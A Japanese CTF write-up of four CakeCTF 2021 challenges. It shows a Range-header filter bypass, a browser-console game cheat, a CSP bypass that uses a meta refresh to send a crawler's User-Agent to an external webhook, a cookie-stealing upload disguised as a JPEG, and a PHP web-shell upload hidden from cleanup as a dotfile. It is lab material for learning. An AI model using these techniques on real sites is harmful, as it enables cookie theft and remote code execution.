CakeCTF 2021 Writeup

久しぶりにCTFに出たので久しぶりにwriteup描いてみる。

telepathy

問題文

HTTP is no longer required. It's time to use telepathy to communicate more securely and quickly. Here is my PoC: http://misc.cakectf.com:18100

問題のソースコードも与えられる。

問題の概要

与えられているファイルを見ると、このWebサイトはnginx(OpenResty)の後ろにGo製のシンプルなWebサーバーが動いているという構成で、後ろのWebサーバーがflagを送信しているだけという単純な構成。

nginxの設定ファイルの一部は次のようになっている。

location / {
    # I'm getting the flag with telepathy...
    proxy_pass  http://app:8000/;

    # I will send the flag to you by HyperTextTelePathy, instead of HTTP
    header_filter_by_lua_block { ngx.header.content_length = nil; }
    body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
}

body_filter_by_lua_blockの指定によりレスポンスに含まれる/\w*\{.*\}/I'm sending the flag to you by telepathy... Got it?\nに書き換えられることがわかる。flagはCakeCTF{...}という形式なのでこのルールにマッチし、書き換えられてしまう。

解き方

前述の正規表現にマッチすると内容が書き換えられてしまうため、レスポンスが正規表現にマッチしないように一部だけを送信してもらえれば良い。具体的にはHTTPリクエストヘッダにRangeを指定することでレスポンスを一部だけ取得することが可能となる。サーバーからのレスポンスヘッダにはAccept-Ranges: bytesとありbyte単位で受信するサイズを指定できることもわかる。

まず次のリクエストを送る。

GET / HTTP/1.1
Host: misc.cakectf.com:18100
Range: bytes=0-10

すると次のレスポンスが返される。

HTTP/1.1 206 Partial Content
Server: openresty/1.19.3.2
Date: Sat, 28 Aug 2021 23:41:35 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Accept-Ranges: bytes
Content-Range: bytes 0-10/28
Last-Modified: Fri, 27 Aug 2021 03:48:29 GMT
Content-Length: 11

CakeCTF{r4n

無事flagの前半を取得できたので後半も取得する。

GET / HTTP/1.1
Host: misc.cakectf.com:18100
Range: bytes=8-
HTTP/1.1 206 Partial Content
Server: openresty/1.19.3.2
Date: Sat, 28 Aug 2021 23:44:29 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Accept-Ranges: bytes
Content-Range: bytes 8-27/28
Last-Modified: Fri, 27 Aug 2021 03:48:29 GMT
Content-Length: 20

r4ng3-0r4ng3-r4ng3}

Flagは次の通り。

CakeCTF{r4ng3-0r4ng3-r4ng3}

ジャンルはmiscとなっていたがweb感のある問題だった。

Kingtaker

問題文

Kingtaker is a short game about a sharply depressed king.

URLも与えられる。

問題の概要

与えられたURLにアクセスすると次のようなゲームを遊ぶことができる。決められた歩数内で障害物を動かしつつ、アイテムを取り切るというもの。歩数を消費し切るとゲームオーバーとなる。

f:id:iso0:20210829084741p:plainf:id:iso0:20210829084852p:plain

解き方

なんとなく開発者ツールのコンソールでglobalと打ってみたら次の結果が返ってきた。

> global
_5V1 {__3: 0, _n4: 11}

global._n4の値が残り歩数と一致しており、global._n4=10などとすると残り歩数を変更することができる(ただし初期の歩数以上に増やすとチート検知される)。これで無限に歩けるようになったのでゲームを進めていく。

するとどう頑張っても解けない面が出現する。global.__3についてはまだいじっていなかったのでこの値を1にすると即クリア状態になった。最後まで問題を解くとflagが表示される。

f:id:iso0:20210829085603p:plainf:id:iso0:20210829085636p:plainf:id:iso0:20210829085649p:plain

初手で何故かglobalについて気づいたので一瞬で解くことができた。

travelog & travelog again

問題文

travelogの問題文。CSP bypass系の香りがする。

I'll travel all over the world and make some blog posts here after the pandemic is over.
Just someone named CSP? is protecting us!

travelog againの問題文。

One more travel! :pleading_face:

どちらも問題のソースコードが与えられている。

問題の概要

記事の投稿と画像のアップロードができるサイトが与えられる。記事の表示画面ではXSS脆弱性があるが、記事表示画面などではCSPヘッダとして次の値が指定されている。

default-src 'none';script-src 'nonce-Mohk4Cjc0xQADMtptz8Oaw==' 'unsafe-inline';style-src 'nonce-Mohk4Cjc0xQADMtptz8Oaw==' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;img-src 'self';connect-src http: https:;base-uri 'self'

nonceが指定されているのでこの値がわからないとXSSは難しそう。

このサイトには管理者へ通報機能もあり、指定した記事のページを閲覧させることができる。与えられたコードを見るとtravelogではflagがクローラーのUser-Agentに入っており、travelog againではCookieに入れられていることがわかる。

page.setUserAgent(flag); // [!] steal this flag
await page.setCookie({
    "domain":"challenge:8080",
    "name":"flag",
    "value":flag,
    "sameSite":"Strict",
    "httpOnly":false,
    "secure":false
});

travelogの解き方

CSPでスクリプトやリソースなどの読み込みや実行は制限されていても、htmlのmeta要素でrefreshを指定すれば別のページにブラウザを遷移させることができる。

具体的には次の指定により指定したページにブラウザを遷移させることができる。webhook.siteなどで用意したページに遷移させることでUser-Agent、つまりflagを入手できる。

<meta http-equiv="refresh" content="0; URL={{遷移先}}>
User-Agent: CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}

ちなみにCTF中は(画像アップロード機能に引っ張られたせいで)これに気づかずtravelog againと同じ方法でtravelogも解いていた。

travelog againの解き方

travelog againではflagがcookieに入っているので外部サイトにアクセスさせるだけではflagが手に入らなくなっている。cookieを入手するにはtravelog againのサイト上でどうにかしてスクリプトを動かす必要がある。

色々いじっていると次のことがわかる。

  • アップロードした画像をダウンロードする際はCSPヘッダがつかない
  • アップロードした画像をダウンロードする際のContent-Typeはファイルの拡張子で決まる *1

    mimetype (Optional[str]) – The MIME type to send for the file. If not provided, it will try to detect it from the file name.

  • 画像をアップロードする際にimghdr.what()を使ってjpeg形式かどうかのチェックをする

imghdr.what()jpeg判定箇所は次の通り。List of file signatures - Wikipedia に書いてあるjpegマジックナンバーを頭にくっつけるだけで突破できる。

def test_jpeg(h, f):
    """JPEG data in JFIF or Exif format"""
    if h[6:10] in (b'JFIF', b'Exif'):
        return 'jpeg'

というわけで、次の手順でflagを入手できる。

  1. 先頭にjpegマジックナンバーをくっつけた、cookieを外部に送信するスクリプトを含む、htmlファイルをアップロードする。拡張子チェックがフロントエンド側であるが、ローカルプロキシなどでアップロードする際のファイル名の拡張子はhtmlにする。
  2. meta要素を使って1.でアップロードした画像に遷移する処理を記述した記事を投稿する。
  3. 2.で投稿した記事を管理者に通報機能で管理者に踏ませる
  4. flagが1.のスクリプトにより送られてくる
CakeCTF{I'll_n3v3r_trust_HTML:angry:}

ziperatops

問題文

Zip Listing as a Service
* The flag is written in somewhere on the root directory of the machine.

問題のソースコードも与えられる

問題の概要

zipファイルをアップロードすると中身のファイル名を表示してくれるシンプルなサービスが動いている。いくつかのチェック機構があり、zipファイル以外をアップロードすると警告が出る。

f:id:iso0:20210829204503p:plainf:id:iso0:20210829204924p:plain

下のような感じで複数のファイルをアップロードすることも可能。この場合、それぞれのzipファイルに含まれているファイル名が出力される。

POST / HTTP/1.1
Host: web.cakectf.com:8004
Content-Type: multipart/form-data; boundary=---------------------------351753080217864772623200829852
Content-Length: 711

-----------------------------351753080217864772623200829852
Content-Disposition: form-data; name="zipfile[]"; filename="a.zip"
Content-Type: application/zip

...
-----------------------------351753080217864772623200829852
Content-Disposition: form-data; name="zipfile[]"; filename="b.zip"
Content-Type: application/zip

...
-----------------------------351753080217864772623200829852--

内部の処理を見ていく。

アップロードしたファイルはランダムなディレクトリに一時格納される。ディレクトリ名は都度生成されるので推測することはできない。

$dname = sha1(uniqid());
@mkdir("temp/$dname");

アップロードしたファイルは次の処理でチェックされる。

/* Check the uploaded zip file */
$zip = new ZipArchive;
if ($zip->open($tmpfile) !== TRUE)
    return array($dname, "Invalid file format");

/* Check filename */
if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
    return array($dname, "Invalid file name: $filename");

/* Detect hacking attempt (This is not necessary but just in case) */
if (strstr($filename, "..") !== FALSE)
    return array($dname, "Do not include '..' in file name");

/* Check extension */
if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
    return array($dname, "Invalid extension (Only .zip is allowed)");

/* Move the files */
if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
    return array($dname, "Failed to upload the file: $dname/$filename");

zipファイルとして開くことができるか、ファイル名に変な記号が入っていないか、ファイル名に.zipが含まれているかなどがチェックされる(.zipで終わる必要はない)。

チェックが通過したら、最後の処理としてアップロードされたファイルをtemp/$dname/$filenameに移動する処理がある。この処理に失敗するとエラーメッセージとして$dname/$filenameが出力される。

(エラーでもエラーでなくとも)処理が終了した際には、以下の処理によりファイルが削除される。

function cleanup($dname) {
    foreach (glob("temp/$dname/*") as $file) {
        @unlink($file);
    }
    @rmdir("temp/$dname");
}

解き方

flagはサーバーのローカルにあるのでLFIあるいはRCEができる必要がある。なんとなくRCEで解く雰囲気がするのでその方向で考えていく。

前述の通り、ファイルの移動に失敗するとファイルを移動先のディレクトリ名がわかる。めちゃくちゃ長いファイル名のファイルをアップロードするとエラーとなりディレクトリ名がリークする。

Error: Failed to upload the file: 25f6faca99b00e2392482d174c9dacd66f6f8c94/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zip

複数のファイルを同時にアップロードでき、同時にアップロードしたファイルは同じディレクトリに移動されるので、移動に失敗しなかったファイルは上記のリークしたディレクトリに存在しているとわかる。

phpファイルをアップロードできればRCEができるが、同時にzipファイルとして開けないとエラーとなってしまう。そういうファイルはphpのコード自体をファイル名としたファイルを圧縮することで生成することができる。

$ touch "<?php phpinfo(); ?>"
$ zip info.zip "<?php phpinfo(); ?>"
00000000: 504b 0304 1400 0800 0800 7baf 1d53 0000  PK........{..S..
00000010: 0000 0000 0000 0000 0000 1300 2000 3c3f  ............ .<?
00000020: 7068 7020 7068 7069 6e66 6f28 293b 203f  php phpinfo(); ?
00000030: 3e55 540d 0007 cb84 2b61 cb84 2b61 cb84  >UT.....+a..+a..
00000040: 2b61 7578 0b00 0104 f501 0000 0414 0000  +aux............
00000050: 0003 0050 4b07 0800 0000 0002 0000 0000  ...PK...........
00000060: 0000 0050 4b01 0214 0314 0008 0008 007b  ...PK..........{
00000070: af1d 5300 0000 0002 0000 0000 0000 0013  ..S.............
00000080: 0020 0000 0000 0000 0000 00a4 8100 0000  . ..............
00000090: 003c 3f70 6870 2070 6870 696e 666f 2829  .<?php phpinfo()
000000a0: 3b20 3f3e 5554 0d00 07cb 842b 61cb 842b  ; ?>UT.....+a..+
000000b0: 61cb 842b 6175 780b 0001 04f5 0100 0004  a..+aux.........
000000c0: 1400 0000 504b 0506 0000 0000 0100 0100  ....PK..........
000000d0: 6100 0000 6300 0000 0000                 a...c.....

cleanupの処理でアップロードしたファイルは削除されてしまうがこの処理は回避することができる。削除するファイルはglob("temp/$dname/*")で取得しているが、この書き方だと隠しファイル(.から始まるファイル)は取得できない。

これらを踏まえると次の手順によりflagを入手することができる。

  1. web shell的な機能のあるphpのコードを含むzipファイルを生成する。都合により、このコードはここには掲載しない。
  2. Webサイトに2つのファイルをアップロードする。1つ目のファイルは1.で生成したファイル。ファイル名は.a.zip.phpのようなドットから始まるファイル名にする。2つ目のファイル名はめちゃくちゃ長いファイル名のzipファイルをアップロードする。
  3. エラーメッセージとして2.のファイルがアップロードされたディレクトリが判明する。
  4. 3.により判明したディレクトリ名を使ってアップロードしたphpファイルにアクセスする(/uploads/{{リークしたディレクトリ名}}/.a.zip.php)。
  5. flagが手に入る
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}

感想

ほぼWebしか解いてないですが、良いCTFだったと思います。